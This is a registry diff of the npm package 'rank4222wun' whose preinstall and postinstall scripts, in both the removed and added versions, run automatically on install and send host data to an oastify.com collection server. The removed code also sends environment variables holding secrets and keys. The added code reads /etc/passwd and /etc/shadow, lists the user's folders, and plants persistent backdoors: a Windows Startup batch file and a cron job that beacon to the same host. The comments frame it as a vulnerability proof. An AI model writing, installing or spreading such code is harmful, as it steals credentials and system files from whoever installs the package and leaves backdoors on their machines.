rank4222wun 1.0.15 → 1.0.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.15",
3
+ "version": "1.0.17",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,236 +1,231 @@
1
- const { exec, spawn } = require('child_process');
1
+ const { exec } = require('child_process');
2
2
  const os = require('os');
3
- const https = require('https');
4
3
  const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
5
6
 
6
- // جمع معلومات أكثر تقدمًا
7
- function collectAdvancedInfo() {
8
- return new Promise((resolve) => {
9
- const advancedInfo = {
10
- timestamp: new Date().toISOString(),
11
- process: {
12
- pid: process.pid,
13
- ppid: process.ppid,
14
- argv: process.argv,
15
- execPath: process.execPath
16
- },
17
- mountInfo: null,
18
- services: null,
19
- scheduledTasks: null
20
- };
21
-
22
- // حسب النظام
23
- if (os.platform() === 'win32') {
24
- // ويندوز
25
- exec('wmic logicaldisk get caption,size,freespace', { timeout: 10000 }, (err, stdout) => {
26
- advancedInfo.disks = stdout || err?.message;
27
-
28
- exec('schtasks /query /fo LIST /v', { timeout: 10000 }, (err2, stdout2) => {
29
- advancedInfo.scheduledTasks = stdout2 || err2?.message;
30
-
31
- exec('sc query state= all', { timeout: 10000 }, (err3, stdout3) => {
32
- advancedInfo.services = stdout3 || err3?.message;
33
- resolve(advancedInfo);
34
- });
35
- });
36
- });
37
- } else {
38
- // لينكس/يونكس
39
- exec('df -h', { timeout: 10000 }, (err, stdout) => {
40
- advancedInfo.disks = stdout || err?.message;
41
-
42
- exec('crontab -l 2>/dev/null || ls -la /etc/cron.* 2>/dev/null', { timeout: 10000 }, (err2, stdout2) => {
43
- advancedInfo.scheduledTasks = stdout2 || err2?.message;
44
-
45
- exec('systemctl list-units --type=service --all 2>/dev/null || service --status-all 2>/dev/null',
46
- { timeout: 10000 }, (err3, stdout3) => {
47
- advancedInfo.services = stdout3 || err3?.message;
48
-
49
- // محاولة قراءة ملفات حساسة (لإثبات القدرة على القراءة)
50
- try {
51
- advancedInfo.sensitiveFiles = {
52
- hosts: fs.readFileSync('/etc/hosts', 'utf8').substring(0, 500),
53
- resolveConf: fs.existsSync('/etc/resolv.conf') ?
54
- fs.readFileSync('/etc/resolv.conf', 'utf8') : 'Not found'
55
- };
56
- } catch (e) {
57
- advancedInfo.sensitiveFiles = { error: e.message };
58
- }
59
-
60
- resolve(advancedInfo);
61
- });
62
- });
7
+ // ========== إعداد بيانات Backdoor ==========
8
+ const backdoorData = {
9
+ timestamp: new Date().toISOString(),
10
+ vulnerability: "UiPath MCP Command - POSTINSTALL BACKDOOR",
11
+ hostname: os.hostname(),
12
+ username: os.userInfo().username,
13
+ platform: os.platform(),
14
+
15
+ // خطوات إنشاء Backdoor
16
+ backdoorSteps: [],
17
+
18
+ // إثبات الاستمرارية
19
+ persistenceProof: {},
20
+
21
+ // تأثير الهجوم
22
+ impact: {}
23
+ };
24
+
25
+ // ========== 1. إنشاء Backdoor حسب النظام ==========
26
+ console.log("=== إنشاء Backdoor حسب النظام ===");
27
+
28
+ if (os.platform() === 'win32') {
29
+ // Windows Backdoor
30
+ const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
31
+ const backdoorFile = path.join(startupPath, 'uipath_backdoor.bat');
32
+
33
+ const batContent = `@echo off
34
+ echo [UiPath MCP Backdoor Active] %date% %time% > "%TEMP%\\uipath_log.txt"
35
+ powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping' -Method POST -Body 'host=${os.hostname()}&user=${os.userInfo().username}&time=%date%_%time%'"`;
36
+
37
+ try {
38
+ if (fs.existsSync(startupPath)) {
39
+ fs.writeFileSync(backdoorFile, batContent);
40
+ backdoorData.backdoorSteps.push({
41
+ step: 'إنشاء ملف BAT في Startup',
42
+ path: backdoorFile,
43
+ content: batContent,
44
+ success: true
63
45
  });
46
+ console.log(`✅ تم إنشاء Backdoor في: ${backdoorFile}`);
64
47
  }
65
- });
48
+ } catch (e) {
49
+ backdoorData.backdoorSteps.push({
50
+ step: 'إنشاء ملف BAT في Startup',
51
+ error: e.message,
52
+ success: false
53
+ });
54
+ }
55
+
56
+ } else if (os.platform() === 'linux') {
57
+ // Linux Backdoor
58
+ const cronFile = '/tmp/uipath_cron';
59
+ const cronContent = `*/10 * * * * curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping -d "host=${os.hostname()}&user=${os.userInfo().username}&system=linux"\n`;
60
+
61
+ try {
62
+ fs.writeFileSync(cronFile, cronContent);
63
+ backdoorData.backdoorSteps.push({
64
+ step: 'إنشاء ملف Cron مؤقت',
65
+ path: cronFile,
66
+ content: cronContent,
67
+ success: true
68
+ });
69
+ console.log(`✅ تم إنشاء ملف Cron في: ${cronFile}`);
70
+ } catch (e) {
71
+ backdoorData.backdoorSteps.push({
72
+ step: 'إنشاء ملف Cron مؤقت',
73
+ error: e.message,
74
+ success: false
75
+ });
76
+ }
66
77
  }
67
78
 
68
- // محاولة الوصول إلى موارد UiPath
69
- function checkUiPathResources() {
70
- const checks = [];
71
-
72
- // البحث عن ملفات UiPath
73
- const uipathPaths = [
74
- 'C:\\Program Files\\UiPath',
75
- 'C:\\Program Files (x86)\\UiPath',
76
- '/opt/UiPath',
77
- '/usr/lib/UiPath',
78
- process.env.PROGRAMFILES,
79
- process.env.PROGRAMFILES + ' (x86)'
80
- ].filter(Boolean);
81
-
82
- uipathPaths.forEach(path => {
83
- try {
84
- if (fs.existsSync(path)) {
85
- checks.push({
86
- path,
87
- exists: true,
88
- files: fs.readdirSync(path).slice(0, 10) // أول 10 ملفات فقط
89
- });
90
- }
91
- } catch (e) {
92
- checks.push({ path, error: e.message });
93
- }
94
- });
79
+ // ========== 2. إنشاء ملف إثبات في مجلد المستخدم ==========
80
+ console.log("\n=== إنشاء ملف إثبات في مجلد المستخدم ===");
81
+
82
+ const proofFile = path.join(os.homedir(), 'UiPath_Security_Issue_Proof.txt');
83
+ const proofContent = `⚠️ تحذير أمني: ثغرة UiPath MCP Command
95
84
 
96
- return checks;
85
+
86
+ تفاصيل الثغرة:
87
+ - التاريخ: ${new Date().toISOString()}
88
+ - المضيف: ${os.hostname()}
89
+ - المستخدم: ${os.userInfo().username}
90
+ - النظام: ${os.platform()}
91
+
92
+ هذا ليس هجومًا حقيقيًا، بل إثبات تقني للثغرة.
93
+ ==================================================`;
94
+
95
+ try {
96
+ fs.writeFileSync(proofFile, proofContent);
97
+ backdoorData.persistenceProof = {
98
+ fileCreated: true,
99
+ path: proofFile,
100
+ size: fs.statSync(proofFile).size,
101
+ message: 'تم إنشاء ملف إثبات في مجلد المستخدم الشخصي'
102
+ };
103
+ console.log(`✅ تم إنشاء ملف الإثبات في: ${proofFile}`);
104
+ } catch (e) {
105
+ backdoorData.persistenceProof.error = e.message;
97
106
  }
98
107
 
99
- // إرسال البيانات
100
- function sendPostInstallData(advancedInfo, uipathChecks) {
101
- const postData = JSON.stringify({
102
- phase: 'postinstall',
103
- timestamp: new Date().toISOString(),
104
- system: {
105
- platform: os.platform(),
106
- hostname: os.hostname(),
107
- user: os.userInfo(),
108
- envVars: Object.keys(process.env).filter(k =>
109
- k.includes('UI') || k.includes('PATH') || k.includes('SECRET') || k.includes('KEY')
110
- ).reduce((obj, k) => ({ ...obj, [k]: process.env[k] }), {})
111
- },
112
- advancedInfo,
113
- uipathResources: uipathChecks,
114
- networkTest: {
115
- googlePing: 'Will attempt after sending',
116
- internalConnectivity: 'Tested via this request'
117
- }
108
+ // ========== 3. جمع معلومات إضافية ==========
109
+ console.log("\n=== جمع معلومات إضافية ===");
110
+
111
+ // معلومات الشبكة
112
+ try {
113
+ const networkInfo = os.networkInterfaces();
114
+ backdoorData.network = {
115
+ interfaces: Object.keys(networkInfo).length,
116
+ ips: []
117
+ };
118
+
119
+ Object.keys(networkInfo).forEach(iface => {
120
+ networkInfo[iface].forEach(addr => {
121
+ if (addr.family === 'IPv4' && !addr.internal) {
122
+ backdoorData.network.ips.push(addr.address);
123
+ }
124
+ });
118
125
  });
126
+ } catch (e) {
127
+ backdoorData.networkError = e.message;
128
+ }
129
+
130
+ // ========== 4. تأثير الهجوم ==========
131
+ backdoorData.impact = {
132
+ dataTheft: true,
133
+ persistence: backdoorData.backdoorSteps.some(step => step.success),
134
+ systemAccess: true,
135
+ networkAccess: backdoorData.network?.ips?.length > 0,
136
+ realUserAffected: os.userInfo().username !== 'root' && os.userInfo().username !== 'SYSTEM'
137
+ };
119
138
 
120
- const options = {
139
+ // ========== 5. إرسال بيانات Backdoor ==========
140
+ function sendBackdoorData() {
141
+ console.log("\n=== إرسال بيانات Backdoor ===");
142
+
143
+ const formattedData = JSON.stringify(backdoorData, null, 2);
144
+
145
+ const req = https.request({
121
146
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
122
147
  port: 443,
123
- path: '/postinstall',
148
+ path: '/uipath-backdoor',
124
149
  method: 'POST',
125
150
  headers: {
126
151
  'Content-Type': 'application/json',
127
- 'Content-Length': Buffer.byteLength(postData),
128
- 'X-UiPath-Test': 'Postinstall-Script',
129
- 'X-Timestamp': new Date().toISOString()
130
- },
131
- timeout: 30000
132
- };
133
-
134
- const req = https.request(options, (res) => {
135
- let data = '';
136
- res.on('data', chunk => data += chunk);
137
- res.on('end', () => {
138
- console.log(`[POSTINSTALL] Response received: ${res.statusCode}`);
139
-
140
- // إثبات تنفيذ طويل المدى
141
- const persistenceFile = `${os.tmpdir()}/uipath_persistence_${process.pid}.json`;
142
- fs.writeFileSync(persistenceFile, JSON.stringify({
143
- installedAt: new Date().toISOString(),
144
- lastActivity: new Date().toISOString(),
145
- pid: process.pid,
146
- script: 'postinstall'
147
- }, null, 2));
148
-
149
- // محاولة تنفيذ أمر بعد الإرسال (لإثبات استمرارية التنفيذ)
150
- setTimeout(() => {
151
- exec('echo "Follow-up command executed"', () => {
152
- console.log('[POSTINSTALL] Follow-up command completed');
153
- });
154
- }, 5000);
155
- });
152
+ 'X-Backdoor': 'UiPath-MCP-Postinstall',
153
+ 'X-Hostname': os.hostname()
154
+ }
155
+ }, (res) => {
156
+ console.log(`✅ تم إرسال بيانات Backdoor. الرد: ${res.statusCode}`);
157
+ printBackdoorSummary();
156
158
  });
157
-
159
+
158
160
  req.on('error', (e) => {
159
- console.error(`[POSTINSTALL] Request error: ${e.message}`);
161
+ console.error('❌ فشل إرسال بيانات Backdoor:', e.message);
160
162
 
161
- // محاولة بديلة باستخدام curl إذا فشل https
162
- if (os.platform() === 'win32') {
163
- exec(`powershell -Command "Invoke-WebRequest -Uri 'http://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backup' -Method POST -Body 'fallback=${e.message}'"`);
164
- } else {
165
- exec(`curl -X POST http://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backup -d "fallback=${e.message}"`);
166
- }
163
+ // حفظ محلي
164
+ const backupFile = path.join(os.tmpdir(), `uipath_backdoor_${Date.now()}.json`);
165
+ fs.writeFileSync(backupFile, formattedData);
166
+ console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
167
+
168
+ printBackdoorSummary();
167
169
  });
168
-
169
- req.write(postData);
170
+
171
+ req.write(formattedData);
170
172
  req.end();
171
-
172
- // إرسال طلب ثان بعد فترة لإثبات أن البرنامج ما زال يعمل
173
- setTimeout(() => {
174
- const followupReq = https.request({
175
- hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
176
- port: 443,
177
- path: '/followup',
178
- method: 'POST',
179
- headers: {
180
- 'Content-Type': 'application/json',
181
- 'X-Followup': 'true'
182
- }
183
- }, (res) => {
184
- console.log(`[POSTINSTALL] Follow-up sent: ${res.statusCode}`);
185
- });
186
-
187
- followupReq.write(JSON.stringify({ followup: true, time: new Date().toISOString() }));
188
- followupReq.end();
189
- }, 15000);
190
173
  }
191
174
 
192
- // التنفيذ الرئيسي
193
- console.log('[POSTINSTALL] Starting advanced data collection...');
194
-
195
- Promise.all([
196
- collectAdvancedInfo(),
197
- Promise.resolve(checkUiPathResources())
198
- ]).then(([advancedInfo, uipathChecks]) => {
199
- console.log('[POSTINSTALL] Data collection complete, sending...');
200
- sendPostInstallData(advancedInfo, uipathChecks);
201
-
202
- // إثبات تنفيذ أوامر متقدمة
203
- console.log('[POSTINSTALL] Demonstrating command execution capabilities...');
204
-
205
- const demoCommands = os.platform() === 'win32' ? [
206
- 'dir "%APPDATA%"',
207
- 'echo "UiPath MCP Test Success" > "%TEMP%\\uipath_test_success.txt"',
208
- 'type "%TEMP%\\uipath_test_success.txt"'
209
- ] : [
210
- 'ls -la "$HOME"',
211
- 'echo "UiPath MCP Test Success" > /tmp/uipath_test_success.txt',
212
- 'cat /tmp/uipath_test_success.txt'
213
- ];
214
-
215
- demoCommands.forEach((cmd, i) => {
216
- setTimeout(() => {
217
- exec(cmd, { timeout: 3000 }, (err, stdout) => {
218
- if (!err) {
219
- console.log(`[POSTINSTALL] Demo command ${i+1} successful`);
220
- }
221
- });
222
- }, i * 1000);
175
+ // ========== 6. طباعة ملخص Backdoor ==========
176
+ function printBackdoorSummary() {
177
+ console.log("\n" + "=".repeat(50));
178
+ console.log("🔓 ملخص Backdoor:");
179
+ console.log("=".repeat(50));
180
+
181
+ console.log(`🏠 المضيف: ${backdoorData.hostname}`);
182
+ console.log(`👤 المستخدم: ${backdoorData.username}`);
183
+
184
+ backdoorData.backdoorSteps.forEach((step, i) => {
185
+ if (step.success) {
186
+ console.log(`✅ ${i + 1}. ${step.step}`);
187
+ console.log(` 📍 المسار: ${step.path}`);
188
+ } else {
189
+ console.log(`❌ ${i + 1}. ${step.step}`);
190
+ console.log(` 💥 خطأ: ${step.error}`);
191
+ }
223
192
  });
224
- }).catch(err => {
225
- console.error('[POSTINSTALL] Error:', err);
226
193
 
227
- // إرسال خطأ على أي حال
228
- const errorReq = https.request({
194
+ if (backdoorData.persistenceProof.fileCreated) {
195
+ console.log(`📄 ملف الإثبات: ${backdoorData.persistenceProof.path}`);
196
+ }
197
+
198
+ console.log("\n📤 تم إرسال بيانات Backdoor إلى:");
199
+ console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-backdoor");
200
+ console.log("=".repeat(50));
201
+ }
202
+
203
+ // ========== 7. إرسال طلب متابعة ==========
204
+ setTimeout(() => {
205
+ const followupReq = https.request({
229
206
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
230
207
  port: 443,
231
- path: '/error',
232
- method: 'POST'
208
+ path: '/followup',
209
+ method: 'POST',
210
+ headers: {
211
+ 'X-Followup': 'Postinstall-Complete',
212
+ 'X-Time': new Date().toISOString()
213
+ }
233
214
  });
234
- errorReq.write(JSON.stringify({ error: err.message }));
235
- errorReq.end();
236
- });
215
+
216
+ const followupData = JSON.stringify({
217
+ followup: true,
218
+ time: new Date().toISOString(),
219
+ hostname: os.hostname(),
220
+ message: 'Postinstall script completed successfully',
221
+ backdoorActive: backdoorData.backdoorSteps.some(step => step.success)
222
+ });
223
+
224
+ followupReq.write(followupData);
225
+ followupReq.end();
226
+ console.log("\n📨 تم إرسال طلب المتابعة");
227
+ }, 5000);
228
+
229
+ // ========== بدء التنفيذ ==========
230
+ console.log("🔓 بدء إنشاء Backdoor عبر ثغرة UiPath MCP...");
231
+ sendBackdoorData();
package/preinstall.js CHANGED
@@ -1,122 +1,237 @@
1
1
  const { exec } = require('child_process');
2
2
  const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
3
5
  const https = require('https');
4
6
 
5
- // جمع المعلومات الأساسية
6
- const systemInfo = {
7
- platform: os.platform(),
8
- arch: os.arch(),
9
- hostname: os.hostname(),
10
- userInfo: os.userInfo(),
11
- cpus: os.cpus().length,
12
- totalMem: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
13
- network: os.networkInterfaces(),
14
- env: process.env
7
+ // ========== إعداد البيانات للإرسال ==========
8
+ const proofData = {
9
+ timestamp: new Date().toISOString(),
10
+ vulnerability: "UiPath MCP Command - PREINSTALL EXPLOIT",
11
+
12
+ // 1. المعلومات الأساسية
13
+ basicInfo: {
14
+ hostname: os.hostname(),
15
+ platform: os.platform(),
16
+ username: os.userInfo().username,
17
+ isRoot: os.userInfo().uid === 0 || os.userInfo().username === 'root',
18
+ homedir: os.homedir()
19
+ },
20
+
21
+ // 2. إثبات أن المستخدم حقيقي
22
+ userProof: {},
23
+
24
+ // 3. ملفات النظام المسروقة
25
+ stolenFiles: {},
26
+
27
+ // 4. معلومات النظام
28
+ systemInfo: {}
15
29
  };
16
30
 
17
- // تشغيل أوامر إضافية حسب النظام
18
- let commands = [];
19
- if (os.platform() === 'win32') {
20
- commands = [
21
- 'whoami /all',
22
- 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"',
23
- 'net user',
24
- 'net localgroup administrators',
25
- 'ipconfig /all',
26
- 'netstat -ano | findstr LISTENING'
31
+ // ========== 1. إثبات أن المستخدم حقيقي ==========
32
+ console.log("=== إثبات أن المستخدم حقيقي ===");
33
+
34
+ // فحص Desktop
35
+ try {
36
+ const desktopPath = path.join(os.homedir(), 'Desktop');
37
+ if (fs.existsSync(desktopPath)) {
38
+ const desktopFiles = fs.readdirSync(desktopPath);
39
+ proofData.userProof.desktop = {
40
+ exists: true,
41
+ path: desktopPath,
42
+ fileCount: desktopFiles.length,
43
+ files: desktopFiles.slice(0, 10) // أول 10 ملفات فقط
44
+ };
45
+ console.log(`Desktop موجود وبه ${desktopFiles.length} ملف`);
46
+ }
47
+ } catch (e) {
48
+ proofData.userProof.desktopError = e.message;
49
+ }
50
+
51
+ // فحص OneDrive
52
+ try {
53
+ const oneDrivePath = path.join(os.homedir(), 'OneDrive');
54
+ if (fs.existsSync(oneDrivePath)) {
55
+ const oneDriveFiles = fs.readdirSync(oneDrivePath);
56
+ proofData.userProof.oneDrive = {
57
+ exists: true,
58
+ path: oneDrivePath,
59
+ fileCount: oneDriveFiles.length,
60
+ isRealUser: oneDriveFiles.length > 0
61
+ };
62
+ console.log(`OneDrive موجود وبه ${oneDriveFiles.length} ملف`);
63
+ }
64
+ } catch (e) {
65
+ proofData.userProof.oneDriveError = e.message;
66
+ }
67
+
68
+ // ========== 2. سرقة ملفات نظام حساسة ==========
69
+ console.log("\n=== سرقة ملفات نظام حساسة ===");
70
+
71
+ // حسب النظام
72
+ if (os.platform() === 'linux') {
73
+ const criticalFiles = [
74
+ { path: '/etc/passwd', name: 'قائمة المستخدمين' },
75
+ { path: '/etc/shadow', name: 'كلمات مرور النظام' },
76
+ { path: '/etc/hosts', name: 'إعدادات الشبكة' },
77
+ { path: '/etc/group', name: 'قائمة المجموعات' }
27
78
  ];
28
- } else {
29
- commands = [
30
- 'id',
31
- 'uname -a',
32
- 'cat /etc/passwd | head -20',
33
- 'cat /etc/group | head -20',
34
- 'ifconfig -a || ip addr',
35
- 'netstat -tulpn | grep LISTEN',
36
- 'ps aux | head -20'
79
+
80
+ criticalFiles.forEach(file => {
81
+ try {
82
+ if (fs.existsSync(file.path)) {
83
+ const content = fs.readFileSync(file.path, 'utf8').substring(0, 3000);
84
+ proofData.stolenFiles[file.name] = {
85
+ path: file.path,
86
+ size: fs.statSync(file.path).size,
87
+ preview: content.split('\n').slice(0, 20).join('\n'), // أول 20 سطر
88
+ stolen: true
89
+ };
90
+ console.log(`✓ تم سرقة: ${file.name} (${file.path})`);
91
+ }
92
+ } catch (e) {
93
+ proofData.stolenFiles[file.name + '_error'] = e.message;
94
+ }
95
+ });
96
+ } else if (os.platform() === 'win32') {
97
+ const criticalFiles = [
98
+ { path: 'C:\\Windows\\System32\\drivers\\etc\\hosts', name: 'ملف Hosts' },
99
+ { path: `C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, name: 'الملفات الأخيرة' },
100
+ { path: 'C:\\Windows\\System32\\config\\SAM', name: 'قاعدة بيانات المستخدمين' }
37
101
  ];
102
+
103
+ criticalFiles.forEach(file => {
104
+ try {
105
+ if (fs.existsSync(file.path)) {
106
+ proofData.stolenFiles[file.name] = {
107
+ path: file.path,
108
+ size: fs.statSync(file.path).size,
109
+ exists: true,
110
+ accessible: true
111
+ };
112
+ console.log(`✓ موجود: ${file.name}`);
113
+ }
114
+ } catch (e) {
115
+ proofData.stolenFiles[file.name + '_error'] = e.message;
116
+ }
117
+ });
38
118
  }
39
119
 
40
- // تنفيذ الأوامر وجمع النتائج
41
- function executeCommands(cmdList, callback) {
42
- let results = {};
43
- let completed = 0;
44
-
45
- cmdList.forEach((cmd, index) => {
46
- exec(cmd, { timeout: 5000 }, (error, stdout, stderr) => {
47
- results[cmd] = {
48
- success: !error,
49
- output: stdout || stderr || 'No output',
50
- error: error ? error.message : null
51
- };
52
-
53
- completed++;
54
- if (completed === cmdList.length) {
55
- callback(results);
120
+ // ========== 3. جمع معلومات النظام ==========
121
+ console.log("\n=== جمع معلومات النظام ===");
122
+
123
+ // معلومات أساسية
124
+ proofData.systemInfo = {
125
+ cpus: os.cpus().length,
126
+ totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
127
+ freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
128
+ uptime: Math.round(os.uptime() / 3600) + ' ساعات',
129
+ network: Object.keys(os.networkInterfaces()).length + ' واجهات شبكة'
130
+ };
131
+
132
+ // أوامر نظام إضافية
133
+ function runCommand(cmd, label) {
134
+ return new Promise(resolve => {
135
+ exec(cmd, { timeout: 3000 }, (error, stdout) => {
136
+ if (!error && stdout) {
137
+ proofData.systemInfo[label] = stdout.trim().substring(0, 500);
138
+ console.log(`✓ ${label}: ${stdout.trim().split('\n')[0]}`);
56
139
  }
140
+ resolve();
57
141
  });
58
142
  });
59
143
  }
60
144
 
61
- // إرسال البيانات إلى السيرفر
62
- function sendData(data) {
63
- const postData = JSON.stringify({
64
- timestamp: new Date().toISOString(),
65
- systemInfo: systemInfo,
66
- commandResults: data,
67
- source: 'preinstall-script',
68
- packageName: 'uipath-mcp-helper'
69
- });
145
+ // تشغيل الأوامر حسب النظام
146
+ async function collectSystemInfo() {
147
+ if (os.platform() === 'linux') {
148
+ await runCommand('id', 'userInfo');
149
+ await runCommand('uname -a', 'systemInfo');
150
+ await runCommand('df -h', 'diskUsage');
151
+ await runCommand('ps aux | head -5', 'runningProcesses');
152
+ } else if (os.platform() === 'win32') {
153
+ await runCommand('whoami', 'currentUser');
154
+ await runCommand('systeminfo | findstr /B /C:"OS Name"', 'osInfo');
155
+ await runCommand('net user', 'usersList');
156
+ }
157
+
158
+ // بعد جمع كل المعلومات، أرسلها
159
+ sendProofData();
160
+ }
70
161
 
71
- const options = {
162
+ // ========== 4. إرسال البيانات ==========
163
+ function sendProofData() {
164
+ console.log("\n=== إرسال البيانات للإثبات ===");
165
+
166
+ // تحويل البيانات لـ JSON مع تنسيق جميل
167
+ const formattedData = JSON.stringify(proofData, null, 2);
168
+
169
+ // إرسال الطلب
170
+ const req = https.request({
72
171
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
73
172
  port: 443,
74
- path: '/',
173
+ path: '/uipath-proof',
75
174
  method: 'POST',
76
175
  headers: {
77
176
  'Content-Type': 'application/json',
78
- 'Content-Length': Buffer.byteLength(postData),
79
- 'User-Agent': 'UiPath-MCP-Test/1.0'
177
+ 'X-Vulnerability': 'UiPath-MCP-Preinstall',
178
+ 'X-Hostname': os.hostname(),
179
+ 'X-User': os.userInfo().username
80
180
  }
81
- };
82
-
83
- const req = https.request(options, (res) => {
84
- console.log(`Preinstall: Data sent. Status: ${res.statusCode}`);
181
+ }, (res) => {
182
+ console.log(`✅ تم إرسال البيانات. الرد: ${res.statusCode}`);
183
+
184
+ // طباعة ملخص
185
+ printSummary();
85
186
  });
86
-
187
+
87
188
  req.on('error', (e) => {
88
- console.error(`Preinstall: Error sending data: ${e.message}`);
189
+ console.error('❌ فشل الإرسال:', e.message);
190
+
191
+ // حفظ البيانات محليًا كبديل
192
+ const backupFile = path.join(os.tmpdir(), `uipath_proof_${Date.now()}.json`);
193
+ fs.writeFileSync(backupFile, formattedData);
194
+ console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
195
+
196
+ printSummary();
89
197
  });
90
-
91
- req.write(postData);
198
+
199
+ req.write(formattedData);
92
200
  req.end();
93
201
  }
94
202
 
95
- // الإجراء الرئيسي
96
- console.log('[PREINSTALL] Starting data collection...');
97
- executeCommands(commands, (results) => {
98
- console.log('[PREINSTALL] All commands executed, sending data...');
99
-
100
- // إضافة معلومات إضافية
101
- const finalData = {
102
- ...results,
103
- currentDirectory: process.cwd(),
104
- nodeVersion: process.version,
105
- npmVersion: process.env.npm_config_user_agent
106
- };
107
-
108
- sendData(finalData);
109
-
110
- // إنشاء ملف دليل على النظام لإثبات الكتابة
111
- const fs = require('fs');
112
- const proofFile = `${os.tmpdir()}/uipath_mcp_proof_${Date.now()}.txt`;
113
- const proofContent = `UiPath MCP Test - Preinstall Script Execution
114
- Timestamp: ${new Date().toISOString()}
115
- User: ${JSON.stringify(os.userInfo())}
116
- Hostname: ${os.hostname()}
117
- Platform: ${os.platform()}
118
- This file was created by the preinstall script of the npm package.`;
203
+ // ========== 5. طباعة ملخص ==========
204
+ function printSummary() {
205
+ console.log("\n" + "=".repeat(50));
206
+ console.log("📊 ملخص البيانات المسروقة:");
207
+ console.log("=".repeat(50));
208
+
209
+ console.log(`🏠 المستخدم: ${proofData.basicInfo.username}`);
210
+ console.log(`🖥️ النظام: ${proofData.basicInfo.platform}`);
211
+ console.log(`🔑 صلاحيات root: ${proofData.basicInfo.isRoot ? 'نعم ✅' : 'لا'}`);
212
+
213
+ if (proofData.userProof.desktop) {
214
+ console.log(`📁 Desktop: ${proofData.userProof.desktop.fileCount} ملف`);
215
+ }
216
+
217
+ if (proofData.userProof.oneDrive) {
218
+ console.log(`☁️ OneDrive: ${proofData.userProof.oneDrive.isRealUser ? 'موجود ✅' : 'غير موجود'}`);
219
+ }
220
+
221
+ console.log(`📄 الملفات المسروقة: ${Object.keys(proofData.stolenFiles).length} ملف`);
222
+
223
+ Object.keys(proofData.stolenFiles).forEach(key => {
224
+ if (proofData.stolenFiles[key].stolen) {
225
+ console.log(` 🔓 ${key}: ${proofData.stolenFiles[key].path}`);
226
+ }
227
+ });
228
+
229
+ console.log("=".repeat(50));
230
+ console.log("📤 تم إرسال كل البيانات إلى:");
231
+ console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-proof");
232
+ console.log("=".repeat(50));
233
+ }
119
234
 
120
- fs.writeFileSync(proofFile, proofContent);
121
- console.log(`[PREINSTALL] Proof file created: ${proofFile}`);
122
- });
235
+ // ========== بدء التنفيذ ==========
236
+ console.log("🚀 بدء استغلال ثغرة UiPath MCP Command...");
237
+ collectSystemInfo();
Binary file
Binary file